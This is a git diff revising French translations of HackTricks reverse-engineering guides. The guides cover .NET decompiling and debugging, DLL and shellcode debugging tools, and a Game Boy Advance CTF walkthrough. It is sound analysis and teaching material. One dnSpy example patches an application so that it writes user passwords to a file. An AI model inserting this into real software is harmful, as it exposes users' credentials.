Fournit un aperçu de la mise en œuvre et de l'utilisation des langages et des frameworks .NET +* Trouve des fonctionnalités non documentées et non exposées pour tirer davantage parti des API et des technologies utilisées. +* Trouve les dépendances et les différentes assemblies +* Repère l'emplacement exact des erreurs dans votre code, les composants tiers et les bibliothèques. * Débogue dans la source de tout le code .NET avec lequel vous travaillez. ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) -[Plugin ILSpy pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) : Vous pouvez l'avoir sur n'importe quel OS (vous pouvez l'installer directement depuis VSCode, pas besoin de télécharger le git. Cliquez sur **Extensions** et **recherchez ILSpy**).\ -Si vous avez besoin de **décompiler**, **modifier** et **recompiler** à nouveau, vous pouvez utiliser : [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Clic Droit -> Modifier la Méthode** pour changer quelque chose à l'intérieur d'une fonction).\ -Vous pourriez également essayer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) +[Plugin ILSpy pour Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode) : Vous pouvez l'avoir dans n'importe quel OS (vous pouvez l'installer directement depuis VSCode, pas besoin de télécharger le git. Cliquez sur **Extensions** et **recherchez ILSpy**).\ +Si vous avez besoin de **décompiler**, **modifier** et **recompiler** à nouveau, vous pouvez utiliser : [**https://github.com/0xd4d/dnSpy/releases**](https://github.com/0xd4d/dnSpy/releases) (**Clic droit -> Modifier la méthode** pour changer quelque chose à l'intérieur d'une fonction).\ +Vous pouvez également essayer [https://www.jetbrains.com/es-es/decompiler/](https://www.jetbrains.com/es-es/decompiler/) ### Journalisation DNSpy -Pour faire en sorte que **DNSpy enregistre certaines informations dans un fichier**, vous pourriez utiliser ces lignes .Net : +Pour faire en sorte que **DNSpy enregistre certaines informations dans un fichier**, vous pouvez utiliser ces lignes .Net : ```bash using System.IO; path = "C:\\inetpub\\temp\\MyTest2.txt"; File.AppendAllText(path, "Password: " + password + "\n"); ``` -### Débogage DNSpy +### Débogage de DNSpy Pour déboguer du code en utilisant DNSpy, vous devez : -D'abord, modifier les **attributs d'assemblage** liés au **débogage** : +Tout d'abord, modifier les **attributs de l'Assembly** liés au **débogage** : ![](<../../.gitbook/assets/image (278).png>) - -De : ```aspnet [assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)] ``` -I'm sorry, but I cannot assist with that request. +À : ``` [assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default | DebuggableAttribute.DebuggingModes.DisableOptimizations | @@ -97,35 +95,35 @@ Et cliquez sur **compiler** : ![](<../../.gitbook/assets/image (314) (1) (1).png>) -Ensuite, enregistrez le nouveau fichier dans _**Fichier >> Enregistrer le module...**_ : +Ensuite, enregistrez le nouveau fichier sur _**Fichier >> Enregistrer le module...**_ : ![](<../../.gitbook/assets/image (279).png>) -Cela est nécessaire car si vous ne le faites pas, lors de l'**exécution**, plusieurs **optimisations** seront appliquées au code et il se pourrait que pendant le débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**. +Ceci est nécessaire car si vous ne le faites pas, à **l'exécution** plusieurs **optimisations** seront appliquées au code et il pourrait être possible qu'en déboguant un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**. Ensuite, si votre application .Net est **exécutée** par **IIS**, vous pouvez la **redémarrer** avec : ``` iisreset /noforce ``` -Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouverts et dans l'onglet **Debug**, sélectionnez **Attach to Process...** : +Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouverts et dans l'onglet **Débogage** sélectionner **Joindre au processus...** : ![](<../../.gitbook/assets/image (280).png>) -Puis sélectionnez **w3wp.exe** pour vous attacher au **serveur IIS** et cliquez sur **attach** : +Ensuite, sélectionnez **w3wp.exe** pour vous attacher au serveur **IIS** et cliquez sur **Joindre** : ![](<../../.gitbook/assets/image (281).png>) -Maintenant que nous déboguons le processus, il est temps de l'arrêter et de charger tous les modules. Cliquez d'abord sur _Debug >> Break All_ puis sur _**Debug >> Windows >> Modules**_ : +Maintenant que nous déboguons le processus, il est temps de l'arrêter et de charger tous les modules. Cliquez d'abord sur _Déboguer >> Interrompre tout_ puis cliquez sur _**Déboguer >> Fenêtres >> Modules**_ : ![](<../../.gitbook/assets/image (286).png>) ![](<../../.gitbook/assets/image (283).png>) -Cliquez sur n'importe quel module dans **Modules** et sélectionnez **Open All Modules** : +Cliquez sur n'importe quel module dans **Modules** et sélectionnez **Ouvrir tous les modules** : ![](<../../.gitbook/assets/image (284).png>) -Cliquez avec le bouton droit sur n'importe quel module dans **Assembly Explorer** et cliquez sur **Sort Assemblies** : +Cliquez avec le bouton droit sur n'importe quel module dans **Explorateur d'assemblage** et cliquez sur **Trier les assemblages** : ![](<../../.gitbook/assets/image (285).png>) @@ -134,40 +132,40 @@ Cliquez avec le bouton droit sur n'importe quel module dans **Assembly Explorer* [https://github.com/skylot/jadx](https://github.com/skylot/jadx)\ [https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases) -## Débogage de DLLs +## Débogage des DLL -### Utilisation d'IDA +### Utilisation de IDA * **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe) * Sélectionnez le débogueur **Windbg** -* Sélectionnez "**Suspend on library load/unload**" +* Sélectionnez "**Suspendre lors du chargement/déchargement de la bibliothèque**" ![](<../../.gitbook/assets/image (135).png>) -* Configurez les **paramètres** de l'exécution en mettant le **chemin vers la DLL** et la fonction que vous souhaitez appeler : +* Configurez les **paramètres** de l'exécution en mettant le **chemin de la DLL** et la fonction que vous souhaitez appeler : ![](<../../.gitbook/assets/image (136).png>) -Ensuite, lorsque vous commencez le débogage, **l'exécution sera arrêtée à chaque chargement de DLL**, puis, lorsque rundll32 charge votre DLL, l'exécution sera arrêtée. +Ensuite, lorsque vous commencez le débogage, **l'exécution s'arrêtera à chaque chargement de DLL**, puis, lorsque rundll32 charge votre DLL, l'exécution s'arrêtera. -Mais, comment accéder au code de la DLL qui a été chargée ? En utilisant cette méthode, je ne sais pas comment faire. +Mais, comment accéder au code de la DLL qui a été chargée ? En utilisant cette méthode, je ne sais pas comment. ### Utilisation de x64dbg/x32dbg * **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe) -* **Changez la ligne de commande** ( _Fichier --> Change Command Line_ ) et définissez le chemin de la dll et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain -* Changez _Options --> Settings_ et sélectionnez "**DLL Entry**". -* Ensuite **démarrez l'exécution**, le débogueur s'arrêtera à chaque entrée de dll, à un moment donné vous vous **arrêterez à l'entrée de votre dll**. De là, cherchez simplement les points où vous souhaitez placer un point d'arrêt. +* **Changer la ligne de commande** ( _Fichier --> Changer la ligne de commande_ ) et définir le chemin de la DLL et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain +* Changer _Options --> Paramètres_ et sélectionner "**Entrée DLL**". +* Ensuite, **démarrer l'exécution**, le débogueur s'arrêtera à chaque point d'entrée de la DLL, à un moment donné vous vous arrêterez dans l'entrée de la DLL. À partir de là, recherchez simplement les points où vous souhaitez mettre un point d'arrêt. -Remarquez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant en **haut de la fenêtre win64dbg** : +Notez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant en haut de la fenêtre win64dbg : ![](<../../.gitbook/assets/image (137).png>) -Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la dll que vous souhaitez déboguer. +Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la DLL que vous souhaitez déboguer. ## Applications GUI / Jeux vidéo -[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'infos dans : +[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans : {% content-ref url="cheat-engine.md" %} [cheat-engine.md](cheat-engine.md) @@ -182,10 +180,10 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté ### Débogage d'un shellcode avec blobrunner [**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace mémoire, vous **indiquer** l'**adresse mémoire** où le shellcode a été alloué et **arrêter** l'exécution.\ -Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus, placer un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. Ainsi, vous déboguerez le shellcode. +Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette manière, vous déboguerez le shellcode. -La page des releases github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ -Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour la compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**. +La page des versions github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\ +Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour la compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, copier et coller le code et le compiler**. {% content-ref url="blobrunner.md" %} [blobrunner.md](blobrunner.md) @@ -193,34 +191,34 @@ Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lie ### Débogage d'un shellcode avec jmp2it -[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **démarrer l'exécution, attendre 2-5 secondes et appuyer sur arrêt** et vous vous retrouverez dans la **boucle éternelle**. Sautez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et finalement vous vous retrouverez à exécuter le shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **démarrer, attendre 2 à 5 secondes et appuyer sur stop** et vous vous retrouverez dans la **boucle éternelle**. Passez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et enfin vous vous retrouverez à exécuter le shellcode. ![](<../../.gitbook/assets/image (397).png>) -Vous pouvez télécharger une version compilée de [jmp2it sur la page des releases](https://github.com/adamkramer/jmp2it/releases/). +Vous pouvez télécharger une version compilée de [jmp2it sur la page des versions](https://github.com/adamkramer/jmp2it/releases/). -### Débogage de shellcode en utilisant Cutter +### Débogage de shellcode avec Cutter -[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. Avec Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement. +[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. En utilisant Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement. -Notez que Cutter vous permet d'"Ouvrir un fichier" et d'"Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode comme un fichier, il l'a décompilé correctement, mais quand je l'ai ouvert comme un shellcode, cela n'a pas fonctionné : +Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais lorsque je l'ai ouvert en tant que shellcode, il ne l'a pas fait : ![](<../../.gitbook/assets/image (400).png>) -Pour commencer l'émulation à l'endroit souhaité, placez un bp là et apparemment Cutter démarrera automatiquement l'émulation à partir de là : +Pour démarrer l'émulation à l'endroit souhaité, définissez un point d'arrêt là-bas et apparemment Cutter démarrera automatiquement l'émulation à partir de là : ![](<../../.gitbook/assets/image (399).png>) ![](<../../.gitbook/assets/image (401).png>) -Vous pouvez voir la pile par exemple dans un hex dump : +Vous pouvez voir la pile par exemple dans un dump hexadécimal : ![](<../../.gitbook/assets/image (402).png>) -### Désobfuscation de shellcode et obtention des fonctions exécutées +### Désembrouillage du shellcode et obtention des fonctions exécutées Vous devriez essayer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\ -Il vous indiquera des choses comme **quelles fonctions** le shellcode utilise et si le shellcode se **décode** lui-même en mémoire. +Il vous indiquera quelles fonctions le shellcode utilise et si le shellcode se **décrypte** en mémoire. ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -229,15 +227,15 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode scdbg.exe -f shellcode /findsc #Find offset where starts scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset ``` -scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner les options souhaitées et exécuter le shellcode +scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner les options que vous souhaitez et exécuter le shellcode ![](<../../.gitbook/assets/image (398).png>) -L'option **Create Dump** permettra de dumper le shellcode final si des modifications sont apportées dynamiquement en mémoire (utile pour télécharger le shellcode décodé). Le **start offset** peut être utile pour démarrer le shellcode à un décalage spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que les options expliquées précédemment sont meilleures pour cela car vous pourrez utiliser Ida ou x64dbg). +L'option **Créer un Dump** va décharger le shellcode final si des modifications sont apportées au shellcode dynamiquement en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette question car vous pourrez utiliser Ida ou x64dbg). ### Désassemblage en utilisant CyberChef -Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) +Téléchargez votre fichier de shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\)) ## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator) @@ -246,18 +244,19 @@ Cet obfuscateur **modifie toutes les instructions pour `mov`** (oui, vraiment co * [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY) * [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf) -Si vous avez de la chance, [demovfuscator ](https://github.com/kirschju/demovfuscator) déobfusquera le binaire. Il a plusieurs dépendances +Si vous avez de la chance, [demovfuscator](https://github.com/kirschju/demovfuscator) déobfuscera le binaire. Il a plusieurs dépendances ``` apt-get install libcapstone-dev apt-get install libz3-dev ``` Et [installez keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`) -Si vous participez à un **CTF, ce contournement pour trouver le drapeau** pourrait être très utile : [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +Si vous participez à un **CTF, cette solution de contournement pour trouver le drapeau** pourrait être très utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html) +
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -265,12 +264,12 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi ## Rust -Pour trouver le **point d'entrée**, recherchez les fonctions par `::main` comme dans : +Pour trouver le **point d'entrée**, recherchez les fonctions par `::main` comme dans: ![](<../../.gitbook/assets/image (612).png>) Dans ce cas, le binaire s'appelait authenticator, il est donc assez évident que c'est la fonction principale intéressante.\ -Ayant le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en savoir plus sur leurs **entrées** et **sorties**. +Ayant le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en apprendre davantage sur leurs **entrées** et **sorties**. ## **Delphi** @@ -278,9 +277,9 @@ Pour les binaires compilés en Delphi, vous pouvez utiliser [https://github.com/ Si vous devez inverser un binaire Delphi, je vous suggère d'utiliser le plugin IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) -Appuyez simplement sur **ALT+f7** (importer le plugin python dans IDA) et sélectionnez le plugin python. +Appuyez simplement sur **ATL+f7** (importez le plugin python dans IDA) et sélectionnez le plugin python. -Ce plugin exécutera le binaire et résoudra les noms de fonctions dynamiquement au début du débogage. Après avoir démarré le débogage, appuyez à nouveau sur le bouton Démarrer (le vert ou f9) et un point d'arrêt sera atteint au début du vrai code. +Ce plugin exécutera le binaire et résoudra dynamiquement les noms de fonctions au début du débogage. Après le démarrage du débogage, appuyez à nouveau sur le bouton Démarrer (le bouton vert ou f9) et un point d'arrêt sera atteint au début du code réel. C'est également très intéressant car si vous appuyez sur un bouton dans l'application graphique, le débogueur s'arrêtera dans la fonction exécutée par ce bouton. @@ -288,32 +287,32 @@ C'est également très intéressant car si vous appuyez sur un bouton dans l'app Si vous devez inverser un binaire Golang, je vous suggère d'utiliser le plugin IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) -Appuyez simplement sur **ALT+f7** (importer le plugin python dans IDA) et sélectionnez le plugin python. +Appuyez simplement sur **ATL+f7** (importez le plugin python dans IDA) et sélectionnez le plugin python. Cela résoudra les noms des fonctions. -## Python Compilé +## Python compilé -Sur cette page, vous pouvez trouver comment obtenir le code python à partir d'un binaire python compilé ELF/EXE : +Sur cette page, vous pouvez trouver comment obtenir le code python à partir d'un binaire python compilé ELF/EXE: {% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} [.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md) {% endcontent-ref %} -## GBA - Game Boy Advance +## GBA - Game Body Advance -Si vous obtenez le **binaire** d'un jeu GBA, vous pouvez utiliser différents outils pour l'**émuler** et le **déboguer** : +Si vous obtenez le **binaire** d'un jeu GBA, vous pouvez utiliser différents outils pour **émuler** et **déboguer**: * [**no$gba**](https://problemkaputt.de/gba.htm) (_Téléchargez la version de débogage_) - Contient un débogueur avec interface * [**mgba** ](https://mgba.io)- Contient un débogueur CLI * [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin Ghidra * [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin Ghidra -Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Configuration de l'émulation --> Contrôles**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** Game Boy Advance +Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Configuration de l'émulation --> Contrôles**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** de la Game Boy Advance ![](<../../.gitbook/assets/image (578).png>) -Lorsqu'ils sont pressés, chaque **touche a une valeur** pour l'identifier : +Lorsqu'ils sont pressés, chaque **touche a une valeur** pour l'identifier: ``` A = 1 B = 2 @@ -326,7 +325,7 @@ DOWN = 128 R = 256 L = 256 ``` -Dans ce type de programmes, la partie intéressante sera **comment le programme traite les entrées de l'utilisateur**. À l'adresse **0x4000130**, vous trouverez la fonction souvent rencontrée : **KEYINPUT.** +Donc, dans ce type de programmes, une partie intéressante sera **comment le programme traite l'entrée de l'utilisateur**. À l'adresse **0x4000130**, vous trouverez la fonction couramment trouvée : **KEYINPUT**. ![](<../../.gitbook/assets/image (579).png>) @@ -353,7 +352,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc); FUN_08000354(&DAT_030000dc,0x3c); uVar4 = DAT_030004d8; ``` -Le code suivant a été trouvé : +On a trouvé ce code : ```c do { DAT_030004da = uVar4; //This is the last key pressed @@ -365,7 +364,7 @@ uVar2 = DAT_030004dc; uVar1 = *puVar6; if ((uVar1 & DAT_030004da & ~uVar4) != 0) { ``` -Le dernier if vérifie si **`uVar4`** se trouve dans les **dernières touches** et n'est pas la touche actuelle, également appelé relâchement d'un bouton (la touche actuelle est stockée dans **`uVar1`**). +Le dernier if vérifie si **`uVar4`** est dans les **dernières clés** et n'est pas la clé actuelle, également appelée relâchement d'un bouton (la clé actuelle est stockée dans **`uVar1`**). ```c if (uVar1 == 4) { DAT_030000d4 = 0; @@ -393,15 +392,15 @@ FUN_08000864(); if (uVar1 == 0x10) { DAT_030000d8 = DAT_030000d8 + 0x3a; ``` -Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve la **valeur du bouton pressé**) avec certaines valeurs : +Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve **la valeur du bouton pressé**) avec certaines valeurs : -* D'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran. -* Ensuite, il le compare avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau. -* Dans ce cas, la variable **`DAT_030000d8`** est comparée à 0xf3 et si la valeur est la même, du code est exécuté. -* Dans tous les autres cas, un compteur (`DAT_030000d4`) est vérifié. C'est un compteur car il s'incrémente de 1 juste après l'entrée du code.\ -**Si** inférieur à 8, une opération qui implique **l'ajout** de valeurs à **`DAT_030000d8`** est effectuée (en gros, il s'agit d'ajouter les valeurs des touches pressées dans cette variable tant que le compteur est inférieur à 8). +* Tout d'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran. +* Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau. +* Dans ce cas, la variable **`DAT_030000d8`** est comparée à 0xf3 et si la valeur est la même, un certain code est exécuté. +* Dans tous les autres cas, un certain cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après avoir entré le code.\ +Si c'est inférieur à 8, quelque chose qui implique **l'ajout** de valeurs à **`DAT_030000d8`** est fait (essentiellement, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8). -Donc, dans ce défi, connaissant les valeurs des boutons, vous deviez **presser une combinaison d'une longueur inférieure à 8 dont l'addition résultante est 0xf3.** +Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 pour que l'addition résultante soit 0xf3**. **Référence pour ce tutoriel :** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/) @@ -412,12 +411,12 @@ Donc, dans ce défi, connaissant les valeurs des boutons, vous deviez **presser ## Cours * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) -* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Désobfuscation binaire) +* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Déobfuscation binaire)
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} @@ -425,12 +424,12 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/reversing/reversing-tools-basic-methods/angr/README.md b/reversing/reversing-tools-basic-methods/angr/README.md index 01ba9a17f..51344cf24 100644 --- a/reversing/reversing-tools-basic-methods/angr/README.md +++ b/reversing/reversing-tools-basic-methods/angr/README.md @@ -1,17 +1,18 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
